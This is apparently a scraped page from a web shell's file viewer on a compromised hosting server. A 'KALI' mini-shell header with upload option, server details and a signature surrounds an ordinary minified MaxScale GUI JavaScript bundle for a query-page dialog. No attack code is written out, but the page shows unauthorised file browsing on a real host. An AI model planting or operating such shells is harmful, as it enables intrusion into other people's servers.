~ K    A     L    I ~
UNAME : Linux web63.extendcp.co.uk 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
SERVER IP : 10.0.187.63 -________- CLIENT IP : 216.73.216.230
PATH :/usr/share/maxscale/gui/js/
UP FILE :
MINI SHELL D ZAB '
Current File : //usr/share/maxscale/gui/js/query-page~0f3152c4.710104d1.js
(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["query-page~0f3152c4"],{8874:function(e,l,n){"use strict";n.r(l);var t=function(){var e=this,l=e.$createElement,n=e._self._c||l;return n("div",{staticClass:"query-editor-page fill-height"},[n("query-editor"),n("confirm-leave-dlg",{attrs:{onSave:e.onLeave,shouldDelAll:e.shouldDelAll},on:{"update:shouldDelAll":function(l){e.shouldDelAll=l},"update:should-del-all":function(l){e.shouldDelAll=l},"on-close":e.cancelLeave,"on-cancel":e.cancelLeave},model:{value:e.isConfDlgOpened,callback:function(l){e.isConfDlgOpened=l},expression:"isConfDlgOpened"}})],1)},s=[],o=n("2f62"),a=function(){var e=this,l=e.$createElement,n=e._self._c||l;return n("mxs-conf-dlg",e._g(e._b({attrs:{title:e.$mxs_t("confirmations.leavePage"),saveText:"confirm",minBodyWidth:"624px"},scopedSlots:e._u([{key:"confirm-text",fn:function(){return[n("p",[e._v(e._s(e.$mxs_t("info.disconnectAll")))])]},proxy:!0},{key:"body-append",fn:function(){return[n("v-checkbox",{staticClass:"v-checkbox--custom-label",attrs:{label:e.$mxs_t("disconnectAll"),color:"primary",dense:"","hide-details":""},model:{value:e.confirmDelAll,callback:function(l){e.confirmDelAll=l},expression:"confirmDelAll"}})]},proxy:!0}])},"mxs-conf-dlg",Object.assign({},e.$attrs),!1),e.$listeners))},c=[],i={name:"confirm-leave-dlg",props:{shouldDelAll:{required:!0,validator:e=>"boolean"===typeof e||null===e,default:!0}},computed:{confirmDelAll:{get(){return this.shouldDelAll},set(e){this.$emit("update:shouldDelAll",e)}}}},r=i,u=n("2877"),d=n("6544"),h=n.n(d),f=n("ac7c"),p=Object(u["a"])(r,a,c,!1,null,null,null),v=p.exports;h()(p,{VCheckbox:f["a"]});var m={name:"query-page",components:{ConfirmLeaveDlg:v},data(){return{isConfDlgOpened:!1,shouldDelAll:!0,to:""}},computed:{...Object(o["e"])({sql_conns:e=>e.queryConn.sql_conns})},beforeRouteLeave(e,l,n){if(this.to)n();else if(this.to=e,0===Object.keys(this.sql_conns).length)this.leavePage();else switch(e.path){case"/login":this.leavePage();break;case"/404":this.cancelLeave(),this.clearConn(),this.validateConns({sqlConns:this.sql_conns});break;default:this.shouldDelAll=!0,this.isConfDlgOpened=!0}},async created(){await this.validateConns({sqlConns:this.sql_conns})},methods:{...Object(o["b"])({validateConns:"queryConn/validateConns",disconnectAll:"queryConn/disconnectAll",clearConn:"queryConn/clearConn"}),async onLeave(){this.shouldDelAll&&await this.disconnectAll(),this.leavePage()},leavePage(){this.$router.push(this.to)},cancelLeave(){this.to=null}}},g=m,b=Object(u["a"])(g,t,s,!1,null,null,null);l["default"]=b.exports}}]);
Coded by KALI :v Greetz to DR HARD ../ kali.zbi@hotmail.com